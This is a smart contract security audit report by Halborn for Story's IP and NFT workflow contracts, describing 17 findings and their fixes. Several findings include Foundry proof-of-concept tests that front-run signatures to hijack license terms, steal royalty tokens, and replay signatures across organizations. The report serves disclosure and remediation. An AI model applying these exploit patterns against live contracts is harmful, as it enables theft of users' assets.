Prepared by:
HALBORN
Last Updated 02/20/2025
Date of Engagement: January 13th, 2025 - February 4th, 2025
100% of all REPORTED Findings have been addressed
All findings
17
Critical
2
High
2
Medium
2
Low
3
Informational
8
Story
engaged Halborn
to conduct a security assessment on their smart contracts beginning on January 13th, 2025 and ending on February 4th, 2025. The security assessment was scoped to the smart contracts provided in the private repository provided to Halborn
. Further details can be found in the Scope section of this report.
Halborn
was provided 15 days for the engagement, and assigned one full-time security engineer to review the security of the smart contracts in scope. The engineer is a blockchain and smart contract security expert with advanced penetration testing and smart contract hacking skills, and deep knowledge of multiple blockchain protocols.
The purpose of the assessment is to:
Identify potential security issues within the smart contracts.
Ensure that smart contract functionality operates as intended.
In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the Story team.
The main ones were the following:
Prevent the reuse of the signatures on StoryBadgeNFT contracts by including the destination contract.
Prevent frontrunning attacks on the Workflows contracts by adding the complete context and parameters of the call to the signature digest.
Enforce protocol invariants for edge cases.
Halborn
performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:
Research into architecture and purpose.
Smart contract manual code review and walkthrough.
Graphing out functionality and contract logic/connectivity/functions (solgraph
).
Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
Manual testing by custom scripts.
Static Analysis of security for scoped contract, and imported functions (slither
).
Testnet deployment (Foundry
).
EXPLOITABILITY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
2
High
2
Medium
2
Low
3
Informational
8
Security analysis | Risk level | Remediation Date |
---|---|---|
Workflow permission setting calls are vulnerable to Front-Running attacks | Critical | Solved - 02/12/2025 |
Royalty Tokens can be stolen | Critical | Solved - 02/12/2025 |
Cross-Organization Signature Replay | High | Solved - 02/12/2025 |
Multiple tokens could be minted by the same msg.sender | High | Solved - 02/12/2025 |
Insecure Workflow Whitelisting logic | Medium | Solved - 02/12/2025 |
Risk of locked assets due to use of _mint() instead of _safeMint() | Medium | Solved - 02/12/2025 |
TotalLicenseTokenLimit cannot be removed once set | Low | Solved - 02/12/2025 |
setMintFeeRecipient() could be rendered unusable | Low | Solved - 02/12/2025 |
Unsafe ERC20 operations | Low | Solved - 02/12/2025 |
Incorrect order of modifiers: nonReentrant should precede all other modifiers | Informational | Solved - 02/12/2025 |
Missing Initialization of AccessControlUpgradeable | Informational | Solved - 02/12/2025 |
Inaccurate comments | Informational | Solved - 02/12/2025 |
Unnecessary comments | Informational | Solved - 02/12/2025 |
Typos in comments | Informational | Solved - 02/12/2025 |
Suboptimal for loops | Informational | Acknowledged - 02/12/2025 |
Array length matching not enforced in PermissionHelper library | Informational | Solved - 02/12/2025 |
Floating pragma | Informational | Solved - 02/12/2025 |
//
Many of the scoped workflow contracts, such as LicenseAttachmentWorkflows
, need to perform authenticated calls to different IPAccounts (EIP-6551 accounts). In order to implement the access control mechanism, signatures are used.
If a valid signature is provided, the workflow contract will perform a call to PermissionHelper.setBatchPermissionForModules()
, which executes a call to the IPAccount's executeWithSig()
function, including the intended function selectors that will be called in the signature.
However, it has been noted that this signature is used solely to call the module's setBatchPermission()
function, which effectively whitelists the workflow contract to interact with the module on behalf of the account. Once the workflow contract has been whitelisted, the intended logic of the function is then executed.
This usage of signature renders this function vulnerable to front-running attacks. For example, any legitimate call to any of these functions, like for example registerPILTermsAndAttach()
, could be front-run, allowing any malicious user to hijack that signature and set any arbitrary Programmable License Terms to that IP (and potentially to any IP owned by the same signer
, although the amount of IPs owned by a same signer is currently capped to 1
).
It must be noted that this same attack could be conducted against any function that uses the setBatchPermissionForModules()
or the setPermissionForModule()
functions, such as:
MetadataHelper
setMetadataWithSig()
RegistrationWorkflows
register()
GroupingWorkflows
mintAndRegisterIpAndAttachLicenseAndAddToGroup()
registerIpAndAttachLicenseAndAddToGroup()
DerivativeWorkflows
registerIpAndMakeDerivative()
registerIpAndMakeDerivativeWithLicenseTokens()
LicenseAttachmentWorkflows
registerIpAndAttachPILTerms()
RoyaltyTokenDistributionWorkflows
registerIpAndAttachPILTermsAndDeployRoyaltyVault()
registerIpAndMakeDerivativeAndDeployRoyaltyVault()
This would cause that any of these functions could be called with arbitrary parameters, causing a wide variety of unexpected behaviors.
The following PoC depicts how a signature can be used to call a function using any parameter, which renders the function vulnerable to signature hijacking via front-running:
function test_LicenseAttachmentWorkflows_registerPILTermsAndAttach_frontRunning() public withCollection withIp(u.alice) {
//For this PoC, we will use Dan as the malicious actor, and Alice as the legitimate actor.
//Dan will frontrun Alice's signature and set a malicious PIL terms and attach them to the IP.
address payable ipId = ipAsset[1].ipId;
uint256 deadline = block.timestamp + 1000;
(bytes memory signature, , ) = _getSetBatchPermissionSigForPeriphery({
ipId: ipId,
permissionList: _getAttachTermsAndConfigPermissionList(ipId, address(licenseAttachmentWorkflows)),
deadline: deadline,
state: IIPAccount(ipId).state(),
signerSk: sk.alice
});
uint256 ltAmt = pilTemplate.totalRegisteredLicenseTerms();
WorkflowStructs.LicenseTermsData[] memory maliciousCommTermsData = new WorkflowStructs.LicenseTermsData[](1);
maliciousCommTermsData[0].terms = PILTerms({
transferable: true,
royaltyPolicy: address(royaltyPolicyLAP), //to bypass PILicenseTemplate__CommercialEnabled_RoyaltyPolicyRequired() error
defaultMintingFee: 0,
expiration: 0,
commercialUse: true,
commercialAttribution: true,
commercializerChecker: address(0),
commercializerCheckerData: "",
commercialRevShare: 0,
commercialRevCeiling: 0,
derivativesAllowed: true,
derivativesAttribution: true,
derivativesApproval: true,
derivativesReciprocal: true,
derivativeRevCeiling: 0,
currency: address(mockToken), //This could be a malicious currency or simply a different one, as long as it is registered. Different to 0 to bypass PILicenseTemplate__RoyaltyPolicyRequiresCurrencyToken()
uri: "Malicious PIL"
});
vm.startPrank(u.dan);
// uint256[] memory licenseTermsIds = licenseAttachmentWorkflows.registerPILTermsAndAttach({
// ipId: ipId,
// licenseTermsData: commTermsData,
// sigAttachAndConfig: WorkflowStructs.SignatureData({
// signer: u.alice,
// deadline: deadline,
// signature: signature
// })
// });
//This is the malicious actor's call, frontrunning Alice's previous call
uint256[] memory licenseTermsIds = licenseAttachmentWorkflows.registerPILTermsAndAttach({
ipId: ipId,
licenseTermsData: maliciousCommTermsData,
sigAttachAndConfig: WorkflowStructs.SignatureData({
signer: u.alice,
deadline: deadline,
signature: signature
})
});
}
Ensuring that any signature can be used to perform only a single call with a specific set of validated parameters is recommended, avoiding wide-scope signatures. To achieve this, a refactor of the IPAccount
signature verification logic would be required.
SOLVED: The Story team restricted the calls to the affected functions to only the signature signer:
if (msg.sender != sigMetadataAndRegister.signer)
revert Errors.DerivativeWorkflows__CallerNotSigner(msg.sender, sigMetadataAndRegister.signer);
//
In order to distribute the Royalty Tokens of a determined IP, the _distributeRoyaltyTokens()
internal function from the RoyaltyTokenDistributionWorkflows
contract is called. This function is called from the following functions:
mintAndRegisterIpAndAttachPILTermsAndDistributeRoyaltyTokens()
mintAndRegisterIpAndMakeDerivativeAndDistributeRoyaltyTokens()
distributeRoyaltyTokens()
These functions will require the following parameters related to the token distribution:
ipId
: The target IP
royaltyShares
: The struct containing the token receivers and the amount of tokens
sigApproveRoyaltyTokens
: A valid signature from the IP account owner
Since the only purpose of the signature is to issue a token approval from the Royalty Token Vault to the RoyaltyTokenDistributionWorkflows
contract, any legitimate call to any of the previously listed functions could trivially be front-run by any user to issue a valid token approval and arbitrarily distribute the Royalty Tokens, similarly to what was described in Workflow permission setting calls are vulnerable to Front-Running attacks
vulnerability.
The following PoC depicts how a legitimate signature usage can be frontrun, setting a valid approval that can be used to steal any IP's Royalty Tokens:
function test_frontrunRoyaltyTokenDistribution() public {
uint256 tokenId = mockNft.mint(u.alice);
address expectedIpId = ipAssetRegistry.ipId(block.chainid, address(mockNft), tokenId);
uint256 deadline = block.timestamp + 1000;
(bytes memory signatureMetadataAndAttachAndConfig, , ) = _getSetBatchPermissionSigForPeriphery({
ipId: expectedIpId,
permissionList: _getMetadataAndAttachTermsAndConfigPermissionList(
expectedIpId,
address(royaltyTokenDistributionWorkflows)
),
deadline: deadline,
state: bytes32(0),
signerSk: sk.alice
});
// register IP, attach PIL terms, and deploy royalty vault
vm.startPrank(u.alice);
(address ipId, uint256[] memory licenseTermsIds, address ipRoyaltyVault) = royaltyTokenDistributionWorkflows
.registerIpAndAttachPILTermsAndDeployRoyaltyVault({
nftContract: address(mockNft),
tokenId: tokenId,
ipMetadata: ipMetadataDefault,
licenseTermsData: commRemixTermsData,
sigMetadataAndAttachAndConfig: WorkflowStructs.SignatureData({
signer: u.alice,
deadline: deadline,
signature: signatureMetadataAndAttachAndConfig
})
});
vm.stopPrank();
(bytes memory signatureApproveRoyaltyTokens, ) = _getSigForExecuteWithSig({
ipId: ipId,
to: ipRoyaltyVault,
deadline: deadline,
state: IIPAccount(payable(ipId)).state(),
data: abi.encodeWithSelector(
IERC20.approve.selector,
address(royaltyTokenDistributionWorkflows),
95_000_000 // 95%
),
signerSk: sk.alice
});
// This first legitimate transaction is frontrun by the second transaction, using Alice's signature
// vm.startPrank(u.alice);
// // distribute royalty tokens
// royaltyTokenDistributionWorkflows.distributeRoyaltyTokens({
// ipId: ipId,
// royaltyShares: royaltyShares,
// sigApproveRoyaltyTokens: WorkflowStructs.SignatureData({
// signer: u.alice,
// deadline: deadline,
// signature: signatureApproveRoyaltyTokens
// })
// });
// vm.stopPrank();
// On this malicious transaction, the malicious actor is using Alice's signature to approve the royalty tokens
// for themselves, and then distributing the tokens to themselves.
maliciousRoyaltyShares.push(
WorkflowStructs.RoyaltyShare({
recipient: u.dan,
percentage: 95_000_000 // 95%
})
);
vm.startPrank(u.dan);
// distribute royalty tokens
royaltyTokenDistributionWorkflows.distributeRoyaltyTokens({
ipId: ipId,
royaltyShares: maliciousRoyaltyShares,
sigApproveRoyaltyTokens: WorkflowStructs.SignatureData({
signer: u.alice,
deadline: deadline,
signature: signatureApproveRoyaltyTokens
})
});
vm.stopPrank();
// Assert that the malicious actor received the tokens
address royaltyVault = royaltyModule.ipRoyaltyVaults(ipId);
assertEq(IERC20(royaltyVault).balanceOf(u.dan), 95_000_000);
}
The signature used to call _distributeRoyaltyTokens()
should include the royaltyShares()
parameter in the signature digest in order to prevent arbitrary token distributions if a valid signature is used.
SOLVED: The Story team restricted the calls to the affected functions to only the signature signer:
if (msg.sender != sigMetadataAndRegister.signer)
revert Errors.DerivativeWorkflows__CallerNotSigner(msg.sender, sigMetadataAndRegister.signer);
//
By using the OrgStoryNFTFactory
contract, any organization can mint a new OrgNFT
token and deploy a new StoryBadgeNFT
contract (or the preferred template) via Beacon Proxy. On these StoryBadgeNFT
contracts, end users can mint a badge NFT if they provide a valid signature that has been signed by the signer
address supplied within the storyftInitParams
used to call the deployOrgStoryNft()
function.
However, it has been noted that the signature digest only includes the msg.sender
address, which will cause that any valid signature can be reused across organizations sharing the same signer
:
// The given signature must be valid
bytes32 digest = keccak256(abi.encodePacked(msg.sender)).toEthSignedMessageHash();
if (!SignatureChecker.isValidSignatureNow($.signer, digest, signature))
revert StoryBadgeNFT__InvalidSignature();
This is likely to happen in organizations managing multiple IPs, such as different NFT collections owned by a same organization. This vulnerability allows for a signature replay attack across different organizations that share the same signer. A user with a valid signature for one organization can reuse that signature to mint badges in other organizations, potentially leading to unauthorized badge minting and undermining the integrity of the badge issuance process.
In order to reproduce this issue, consider using the following Foundry test case:
PoC Code:
function test_StoryBadgeNFT_mint_AcrossOrgs_signatureReplay() public {
// First org deployment by Carl, representing BAYC
bytes memory signature1 = _signAddress(orgStoryNftFactorySignerSk, u.carl);
vm.startPrank(u.carl);
(,,,address storyNft1) = orgStoryNftFactory.deployOrgStoryNft({
orgStoryNftTemplate: address(defaultOrgStoryNftTemplate),
orgNftRecipient: u.carl,
orgName: "Carl's First Org",
orgIpMetadata: ipMetadataDefault,
signature: signature1,
storyNftInitParams: storyNftInitParams // Carl will be the signer for this org
});
vm.stopPrank();
// Second org deployment by Alice, representing MAYC
bytes memory signature2 = _signAddress(orgStoryNftFactorySignerSk, u.alice);
vm.startPrank(u.alice);
(,,,address storyNft2) = orgStoryNftFactory.deployOrgStoryNft({
orgStoryNftTemplate: address(defaultOrgStoryNftTemplate),
orgNftRecipient: u.carl,
orgName: "Carl's Second Org",
orgIpMetadata: ipMetadataDefault,
signature: signature2,
storyNftInitParams: storyNftInitParams // Carl will be the signer for this org too
});
vm.stopPrank();
// Generate signature for Bob to mint badges
bytes memory bobSignature = _signAddress(sk.carl, u.bob); // Using Carl's key as he's the signer for both orgs
// Bob mints a badge from first org
vm.startPrank(u.bob);
(uint256 tokenId1, address ipId1) = IStoryBadgeNFT(storyNft1).mint(u.bob, bobSignature);
assertEq(IStoryBadgeNFT(storyNft1).ownerOf(tokenId1), u.bob);
// Bob can reuse same signature to mint from second org
(uint256 tokenId2, address ipId2) = IStoryBadgeNFT(storyNft2).mint(u.bob, bobSignature);
assertEq(IStoryBadgeNFT(storyNft2).ownerOf(tokenId2), u.bob);
vm.stopPrank();
// Verify Bob has one token from each org
assertEq(IStoryBadgeNFT(storyNft1).balanceOf(u.bob), 1);
assertEq(IStoryBadgeNFT(storyNft2).balanceOf(u.bob), 1);
}
It is recommended to include organization context in the signature: Modify the signature generation and verification process to include additional context, such as the StoryNFT contract address. This ensures that the signature is only valid within the intended organization context.
SOLVED: The Story team included the StoryNFT contract address in the signature digest.
//
The StoryBadgeNFT
contract allows users to mint a badge NFT by providing a valid signature. The current implementation uses the usedSignatures
mapping to track which signatures have been used, ensuring that each msg.sender
can mint only one token. However, the signature validation process relies on a signer
address, which can be updated by the contract owner using the setSigner()
function.
The digest used for signature verification is generated using only the msg.sender
address. This means that if the signer address is changed, a new signature from the new signer would allow the same msg.sender
to mint another token. This effectively shifts the responsibility of preventing duplicate mints to the contract owner, who must ensure not to issue new signatures to the same address or this invariant would be broken.
The ability to change the signer address introduces a potential vulnerability where the same msg.sender
could mint multiple tokens if new signatures are issued by a different signer. This breaks the intended invariant that each msg.sender
should only be able to mint one token, potentially leading to unexpected interactions that might affect the protocol’s intended behavior.
A similar behavior has been observed in the OrgStoryNFTFactory
contract’s _validateSignature()
function.
In order to reproduce this issue, consider using the following Foundry test case:
PoC Code:
function test_StoryBadgeNFT_mint_AfterSignerChange() public {
bytes memory signature1 = _signAddress(rootOrgStoryNftSignerSk, u.carl);
// First mint with original signer
vm.startPrank(u.carl);
(uint256 tokenId1, address ipId1) = rootOrgStoryNft.mint(u.carl, signature1);
// Verify first mint
assertEq(rootOrgStoryNft.ownerOf(tokenId1), u.carl);
assertTrue(ipAssetRegistry.isRegistered(ipId1));
assertEq(rootOrgStoryNft.balanceOf(u.carl), 1);
vm.stopPrank();
// Change signer
vm.prank(rootOrgStoryNftOwner);
rootOrgStoryNft.setSigner(u.bob);
// Generate new signature with new signer
bytes memory signature2 = _signAddress(sk.bob, u.carl);
// Second mint with new signer
vm.startPrank(u.carl);
(uint256 tokenId2, address ipId2) = rootOrgStoryNft.mint(u.carl, signature2);
// Verify second mint
assertEq(rootOrgStoryNft.ownerOf(tokenId2), u.carl);
assertTrue(ipAssetRegistry.isRegistered(ipId2));
assertEq(rootOrgStoryNft.balanceOf(u.carl), 2);
vm.stopPrank();
}
To maintain the invariant that each msg.sender
can mint only one token, regardless of changes to the signer, it is recommended to explicitly enforce it, which can be achieved via different methods such as:
Enforce a maximum balanceOf()
of 1 per each msg.address
Instead of tracking the used signatures, track the msg.sender
that already minted a token.
SOLVED: The Story team addressed this issue by performing a balance check of the potential token recipient:
if (ORG_NFT.balanceOf(orgNftRecipient) > 0)
revert OrgStoryNFTFactory__OrgAlreadyDeployed(orgName, $.deployedOrgStoryNftsByOrgName[orgName]);
// The recipient must not already have a badge
if (balanceOf(recipient) > 0) revert StoryBadgeNFT__RecipientAlreadyHasBadge(recipient);
//
As described in the Workflow calls are vulnerable to Front-Running attacks
finding, multiple functions from the Workflows contracts use the setBatchPermissionFor()
and setPermissionForModule()
functions to interact with the relevant IPAccounts
. When these functions are called, the calling Workflow contract will be whitelisted in the AccessController
contract for calling a certain function on that IPAccount
.
However, after the logic of the Workflow function has been executed, the whitelisting will remain applied unless it is manually revoked by the legitimate owner of the IPAccount
on a separate transaction.
These kinds of open permissions pose multiple security risks and are considered a bad practice. In the eventuality of a contract takeover or a legitimate contract upgrade that implements logic allowing additional calls to the IPAccounts
, it would allow anyone to openly interact with any IPAccount that the Workflow contract has called before without needing any signature since the whitelisting would still be active.
Reviewing the Workflow contracts logic flow is recommended, since the current one requires each Workflow contract to be whitelisted to perform a certain action on each IPAccount
, but this whitelisting remains after the function is finalized. Leaving open permissions could pose a high security risk if the Workflow contract gets compromised or receives an upgrade containing new functionalities.
Ideally, the Workflow contracts should use signatures to strictly perform a certain atomic action, avoiding leaving any open permissions.
SOLVED: The Story team replaced the previous permanent permissions with transient permissions that now expire after each use instead of persisting unless manually revoked.
//
The SPGNFT.sol
contract uses the _mint()
function rather than the more robust _safeMint()
function to mint the collection NFT to the destination user. The _safeMint()
function includes an essential safety mechanism that verifies a recipient contract’s capability to receive and manage ERC-721 tokens by calling the onERC721Received
method. This check ensures the recipient implements the ERC721Receiver
interface, reducing the risk of tokens being sent to incompatible contracts:
_mint(to, tokenId);
Using _mint()
bypasses this safeguard and can result in scenarios where tokens are irretrievably locked in contracts that do not support ERC-721 token reception. Such situations pose a risk of permanent asset loss, as neither the tokens nor their associated value can be recovered.
The ERC721Upgradeable
module itself warns against the use of _mint()
:
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
In contrast, the _safeMint()
function includes the following additional safety check:
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
This check ensures that the receiving contract correctly implements the onERC721Received
interface, returning the expected bytes4
selector. Without this validation, tokens sent to non-compliant contracts may become permanently inaccessible.
Replace all instances of _mint()
with _safeMint()
. The _safeMint()
function ensures recipient compliance with ERC-721 standards, safeguarding against the risk of asset lock-in.
SOLVED: The Story team addressed this issue by using _safeMint()
instead of _mint()
.
//
The setTotalLicenseTokenLimit()
function in the TotalLicenseTokenLimitHook
contract allows setting a total license token limit for a specific license. The function includes a check that reverts if the new limit is lower than the current total supply of license tokens. This behavior is intended to prevent setting a limit that is less than the existing supply, which could lead to inconsistencies or violations of the intended token limit.
However, this logic introduces an inconsistency: once a limit is set and the total supply exceeds zero, it becomes impossible to remove the limit by setting it to zero (which is intended to represent "no limit"). This is because the function will revert if the limit is set to zero and the total supply is greater than zero. Conversely, setting the limit to a very high value is allowed, even if it effectively removes the limit, which is inconsistent with the restriction on setting it to zero.
It is recommended the following:
Allow Zero Limit with Conditions: Modify the function to allow setting the limit to zero, even if the total supply is greater than zero. This can be achieved by adding a specific condition that permits setting the limit to zero, regardless of the current total supply. This change would align the behavior of setting a zero limit with the intention of representing "no limit."
2. Explicit Limit Removal Function: Introduce a separate function specifically for removing the limit, which sets the limit to zero. This function could include additional checks or require specific permissions to ensure that the removal of the limit is intentional and authorized.
3. Documentation and Warnings: Clearly document the behavior of the setTotalLicenseTokenLimit function, including the implications of setting the limit to zero or a high value. Provide warnings to users about the potential for inconsistent behavior and the need to carefully consider the implications of changing the limit.
4. User Interface Considerations: If this contract is part of a larger system with a user interface, ensure that the UI provides clear guidance and warnings when users attempt to set the limit to zero or a very high value. This can help prevent accidental misuse of the function.
By implementing these mitigations, the contract can provide a more consistent and intuitive experience for users, while maintaining the intended functionality of the license token limit.
SOLVED: The Story team addressed this issue by allowing a zero limit, as recommended in point 1.
//
The setMintFeeRecipient()
function in the SPGNFT
contract is designed to allow the current mint fee recipient to update the address to a new recipient. However, this function is vulnerable if the _mintFeeRecipient
is set to a contract address that cannot call this function, such as a treasury smart contract.
If the _mintFeeRecipient
is set to a contract address that does not have the capability to call this function (e.g., a contract without the necessary logic to execute external calls), the function becomes effectively unusable. This is because the contract itself cannot initiate a call to setMintFeeRecipient()
, and thus, the recipient address cannot be updated:
/// @notice Sets the recipient of mint fees.
/// @dev Only callable by the fee recipient.
/// @param newFeeRecipient The new fee recipient.
function setMintFeeRecipient(address newFeeRecipient) external {
if (msg.sender != _getSPGNFTStorage()._mintFeeRecipient) {
revert Errors.SPGNFT__CallerNotFeeRecipient();
}
_getSPGNFTStorage()._mintFeeRecipient = newFeeRecipient;
}
The inability to update the fee recipient could result in a loss of control over the distribution of mint fees, potentially affecting the financial operations of the NFT collection.
It is recommended to also allow the ADMIN
user to call setMintFeeRecipient()
in order to prevent functionality lockups if the current _mintFeeRecipient
address cannot call setMintFeeRecipient()
.
SOLVED: The Story team addressed this issue by allowing SPGNFTLib.ADMIN_ROLE
to call setMintFeeRecipient()
too.
//
Unsafe ERC20 operations that don't use OpenZeppelin's SafeERC20 library have been detected. These operations may fail silently with non-compliant tokens that return false instead of reverting on failure, or tokens like USDT
that require resetting allowances to zero before updating them.
In SPGNFT.sol
, the unsafe transferFrom()
is used:
if ($._mintFeeToken != address(0) && $._mintFee > 0) {
IERC20($._mintFeeToken).transferFrom(payer, address(this), $._mintFee);
}
While the impact is mitigated since most integrated tokens are expected to be compliant, this remains a concern for future integrations and best practices.
Consider using the OpenZeppelin's SafeERC20
library or Solmate's SafeTransferLib
consistently throughout the codebase.
SOLVED: The Story team now uses SafeERC20
for every ERC20 operation.
//
To mitigate the risk of reentrancy attacks, a modifier named nonReentrant
is commonly used. This modifier acts as a lock, ensuring that a function cannot be called recursively while it is still in execution. A typical implementation of the nonReentrant
modifier locks the function at the beginning and unlocks it at the end. However, it is vital to place the nonReentrant
modifier before all other modifiers in a function. Placing it first ensures that all other modifiers cannot bypass the reentrancy protection. In the current implementation, some functions use other modifiers before nonReentrant
, which may compromise the protection it provides.
During the audit it was identified that the following functions does not use nonReentrant
as a first modifier:
TokenizerModule.sol
tokenize()
It is recommended to follow the best practice of placing the nonReentrant
modifier before all other modifiers. By doing so, one can reduce the risk of reentrancy-related vulnerabilities. This simple yet effective approach can help enhance the security posture of any Solidity smart contract.
SOLVED: The Story team addressed this issue by placing the nonReentrant
modifier first.
//
It has been noted that the AccessControlUpgradeable
contract, inherited in SPGNFT
is not initialized. Although both __AccessControl_init()
and __AccessControl_init_unchained()
functions are empty, so they do not have to be necessarily called, this could change in the future. Calling the initialization methods of all parent contracts is considered a good practice.
Not following good practices could leave any relevant contracts uninitialized, which could potentially lead to unexpected behavior or security vulnerabilities.
In a similar fashion, the MulticallUpgradeable
contract is not initialized in any of the workflow contracts.
It is recommended to call the initialization methods of every parent contract.
SOLVED: The Story team now initializes every parent contract.
//
The comment for the mint()
function in the SPGNFT
contract inaccurately states that the function is "Only callable by the minter role."
However, this is not entirely correct. The function can also be called by anyone if the _publicMinting
flag is set to true. This means that the function is accessible to the general public under certain conditions, not just restricted to those with the minter role.
Having function comments or documentation that do not accurately describe the conditions under which the function can be called could lead developers and users to make false assumptions that might endanger the protocol's security.
It is recommended that the comments and documentation accurately describe the code functionality.
SOLVED: The Story team fixed the comments.
//
Multiple instances of unnecessary comments have been detected:
In the SPGNFT.sol
contract, there is a comment section labeled as Upgrade
which is unnecessary. This comment is a remnant from when the contract might have been intended to use the UUPS
(Universal Upgradeable Proxy Standard) pattern. However, the current design of the contract indicates that it will utilize the beacon proxy pattern, which does not require upgrade logic to be implemented within the implementation contract itself.
A similar instance has been detected in the CachableNFT.sol
contract (Lines 3 and 4), in which comments from previous versions of the contract remained.
In the MetadataHelper.sol
contract, the comments in line 38 and 39 are duplicated.
The presence of these comments can lead to confusion for developers and users reviewing the contract, since it suggests that there might be upgrade logic within the contract, which is not the case. This could result in misunderstandings about the contract's architecture and its upgradeability mechanism, potentially leading to incorrect assumptions about the contract's functionality and security.
Remove any unnecessary, outdated, or inaccurate comments from the scoped contracts. Removing these comments ensures that the contract documentation accurately reflects its design and functionality, reducing potential confusion for future developers and users.
SOLVED: The Story team fixed the comments.
//
Typos in comments, while seemingly minor, can hinder code readability and reduce the overall quality and professionalism of a Solidity smart contract. Comments are essential for providing context and explanations that help developers, auditors, and contributors understand the purpose and functionality of the code. Typos can create confusion, lead to misunderstandings, or make the codebase appear unprofessional and poorly maintained. This issue becomes especially significant in collaborative environments or when onboarding new developers to a project. The following comments with typographical errors were found in the scoped contracts:
CachableNFT.sol:
// cache contrat has three modes
The word contrat
above should be spelled as contract
instead.
StoryBadgeNFT.sol:
/// @param signature The signature from the whitelist signer. This signautre is genreated by having the whitelist
The words signautre
and genreated
above should be spelled as signature
and generated
, respectively.
To maintain clarity and trustworthiness, it is essential to rectify any typographical errors present within the contracts. Correcting such errors minimizes the likelihood of confusion and reinforces confidence in the accuracy and integrity of the documentation.
SOLVED: The Story team fixed the comments.
//
Throughout the code in scope, there are several instances of unoptimized for loop declarations that may incur in higher gas costs than necessary.
Optimize the for
loop declarations to reduce gas costs. Best practices include:
The non-redundant initialization of the iterator with a default value (declaring simply i
is equivalent to i = 0
but more gas efficient),
The use of the pre-increment operator (inside an unchecked
block if using Solidity >=0.8.0
and <= 0.8.21
:unchecked {++i}
, or simply ++i
if compiling with Solidity >=0.8.22
).
Additionally, when reading from storage variables, it is recommended to reduce gas costs significantly by caching the array to read locally and iterate over it to avoid reading from storage on every iteration. Moreover, if there are several loops in the same function, the i
variable can be re-used, to be able to set the value from non-zero to zero and reduce gas costs without additional variable declaration. For example:
uint256[] memory arrayInMemory = arrayInStorage;
uint256 i;
for (; i < arrayInMemory.length ;) {
// code logic
unchecked { ++i; }
}
delete i;
uint256[] memory arrayInMemory2 = arrayInStorage2;
for (; i < arrayInMemory2.length ;) {
// code logic
unchecked { ++i; }
}
ACKNOWLEDGED: The Story team acknowledged this finding.
//
The setBatchPermissionForModules()
function in the PermissionHelper
library is designed to set permissions for multiple modules in a batch operation. Two of the input parameters are the modules
and selectors
arrays. The function assumes that these arrays have a 1:1 mapping, meaning they should be of equal length. However, there is no explicit check to enforce this assumption, which can lead to unexpected behaviors if the arrays have different lengths.
If the modules and selectors arrays have different lengths, several issues may occur:
Explicit failure: If the selectors
array is shorter than the modules
array, the function will attempt to access out-of-bounds elements in the selectors
array, which will cause a revert due to Solidity's array bounds checking.
2. Silent failure: If the modules
array is shorter than the selectors
array, the function will not process all selectors, potentially leaving some permissions unset. This could lead to a situation where not all intended permissions are granted, which might not be immediately obvious to the caller.
3. Security Risks: Incomplete or incorrect permission settings can lead to security vulnerabilities, where certain modules might not have the necessary permissions to execute their intended functions, or unintended modules might receive permissions due to misalignment.
In addition, another instance of this same issue has been detected in the aggregateMintFees()
function from the LicensingHelper
library.
To mitigate this vulnerability, it is recommended to add a check at the beginning of the function to ensure that the modules
and selectors
arrays have the same length. If they do not, the function should revert with an appropriate error message. This will prevent any unexpected behavior due to mismatched array lengths.
SOLVED: The Story team addressed this issue by explicitly checking the length of both arrays.
//
The CachableNFT
contract currently use floating pragma versions ^0.8.26
which means that the code can be compiled by any compiler version that is greater than or equal to 0.8.26
, and less than 0.9.0
.
However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.
Additionally, from Solidity versions 0.8.20
through 0.8.24
, the default target EVM version is set to Shanghai
, which results in the generation of bytecode that includes PUSH0
opcodes. Starting with version 0.8.25
, the default EVM version shifts to Cancun
, introducing new opcodes for transient storage, TSTORE
and TLOAD
.
In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.
Lock the pragma version to the same version used during development and testing. Additionally, make sure to specify the target EVM version when using Solidity versions from 0.8.20
and above if deploying to chains that may not support newly introduced opcodes.
SOLVED: The Story team fixed the mentioned floating pragma.
Halborn
